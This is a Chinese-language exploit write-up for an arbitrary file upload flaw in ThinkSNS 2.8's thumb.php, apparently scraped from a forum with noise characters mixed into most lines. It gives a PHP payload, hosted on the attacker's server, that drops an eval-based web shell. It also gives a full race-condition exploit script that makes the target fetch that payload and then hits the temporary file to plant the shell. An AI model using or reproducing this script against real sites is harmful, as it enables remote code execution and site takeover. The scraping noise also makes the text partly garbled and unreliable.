漏洞版本. z1 e$ m/ ~2 e6 J* i3 |) ]) u, Z/ D
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过) J5 J3 r+ P$ r8 O: V. V
漏洞文件4 A4 O8 i% e: T+ B* D
存在漏洞的文件为:thumb.php4 e1 c: M. k# G; v: K
作者:韦鲲鹏
. y( w! s/ X, x/ \8 j6 W3 ]1、 准备如下PHP文件并上传到服务器(自己的)。
7 o0 P9 q3 v1 F, ~" d' w7 c( J文件内容如下:
! |# L8 m3 t+ `& v& l/ ]. [: o% s% V<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>5 \6 u$ `3 R) }+ z/ H0 n5 o+ P; Z
2、 计算出临时的文件名:5 H5 ~5 U3 U* O+ Z
这里我们可以看文件的99行(刚刚是不是没注意呀!)。8 b: ?. E7 s; {- @- ~2 d7 V. d' }
) L* ]5 b( T/ |8 Q& ~& `& s+ z
3、 上传临时文件。" i( M6 a0 N; ?% X6 J6 F# Q! n4 G
4、 访问临时文件。, t5 u0 d" E0 z" `3 g& [# v
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
1 X3 w" m" c D S# i. h* m! z. gExploit文件内容如下:(这个我就不详细解释了)
6 |. [! [( v- [$ p<?php
8 t# f& z: w0 s: X0 Jerror_reporting(0);: C) ?" v0 q7 B! ]
set_time_limit(0);& z) X+ a* Y6 ?0 s1 J
ini_set(“default_socket_timeout”, 5);$ G# o, P8 T0 O3 Y: C% i
function http_send($host, $port, $headers) {* o& w- y. s0 P
$fp = fsockopen($host, $port);
# U/ n9 d4 f: P0 ]if (!$fp) die(‘Connection -> fail’);/ t$ `% Q( S; {- P5 ?9 x
fputs($fp, $headers);' I! M4 T) @9 p+ q) h! a
return $fp;
9 h$ l! x% i+ E% b3 b}( |% t; E- x: h5 e9 m0 \7 v
function http_recv($fp) {
9 B5 |# Y5 s5 V2 ~' ~: v2 C$ret=”";/ Y1 S3 U5 d! ~9 Q& U3 E6 k: j
while (!feof($fp))
( {( y6 ^: Q2 I- B. Q& |$ret.= fgets($fp, 1024);
\, z/ L5 z* T: u& {fclose($fp);
; y- } w* i& ^3 X& wreturn $ret;- c' o4 r6 r- R. O5 i9 D
}
8 k; {3 p+ q2 y/ H; gprint “\n# ThinkSns Arbitrary File Upload #\n”;
8 t+ k l0 n: F0 e2 bprint “# Discovered by 韦鲲鹏 #\n\n”;/ b$ @# }! r s: d) p
if ($argc < 4) {1 D) `8 o- b8 M
print “Usage: php <host> <path> <romote_url>\n”;
( A+ U4 p% g, B8 E* E3 iprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
4 R$ t* L# j- V) s& O1 H* O' ^) t7 ndie();& p b# O' d) j: B5 Z! {
}* @* W: |* A( g5 Y' a
$host = $argv[1];/ Z4 k7 a! z8 j- G0 q. `
$path = $argv[2];1 B9 C B; R! W/ K& ~( i9 U5 n
$url = $argv[3];) F( e7 Z3 }) b& Y
$i=0;1 X- Z; a2 f) H
//上传数据包
, F5 B; o4 B6 o5 K$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;; l$ W( X8 w/ r, N4 N
$headers_up .= “Host: “.$host.”\r\n”;* B3 H, P" d, {( ~5 }- [; O7 I
$headers_up .= “Connection: close\r\n\r\n”;5 l0 N0 \- q4 x3 ?
echo $headers_up;; \! R) L" {) G- a' [" M! @" F
//临时文件访问数据包6 Q3 t+ m- l Z# `* U/ Q: R
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;2 x: u/ D/ H7 c& b2 w
$headers .= “Host: “.$host.”\r\n”;
+ H8 p3 F9 ?! c, `4 v0 w7 N$ g$headers .= “Connection: close\r\n\r\n”;
8 t+ ?4 z7 ~8 c7 ?echo $headers;; Y5 h. ~, u; t& i7 K/ P
while(++$i<10) {
0 }& i7 y, \/ ^. Mfclose(http_send($host, 80, $headers));$ H3 K; h& I) v& H" s+ i
}
- F* \( o* T$ w+ I/ C- B/ v; c/ v) wfclose(http_send($host, 80, $headers_up));' x4 t8 P( N: v$ h0 T$ n
while(++$i<50) {
& V8 k" u" R8 F4 O- ?* k9 Sfclose(http_send($host, 80, $headers));
; x# b( M* M, Z}( L) g2 d, y" c0 ~
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;$ L: G |; l4 Q' [* J
$headers .= “Host: “.$host.”\r\n”;/ }, J0 m% k$ R8 A/ S
$headers .= “Connection: close\r\n\r\n”;0 v) T% _8 @# }# J- J
$res=http_recv(http_send($host, 80, $headers));7 n; b& n; z0 `5 @' q$ U9 A
if(preg_match(‘/200 OK/’,$res)) {& R& E( ~1 s" G
print “Success!\n\n”;
1 i8 ]+ E3 _& r- }} else {
, j2 F; R6 @, v6 rprint “Fail!\n\n”;
& J) G% G: l0 \0 [}5 a% G- f' D5 _: u D: n# X
?>+ s p8 ^3 U1 D9 v! D5 ^
|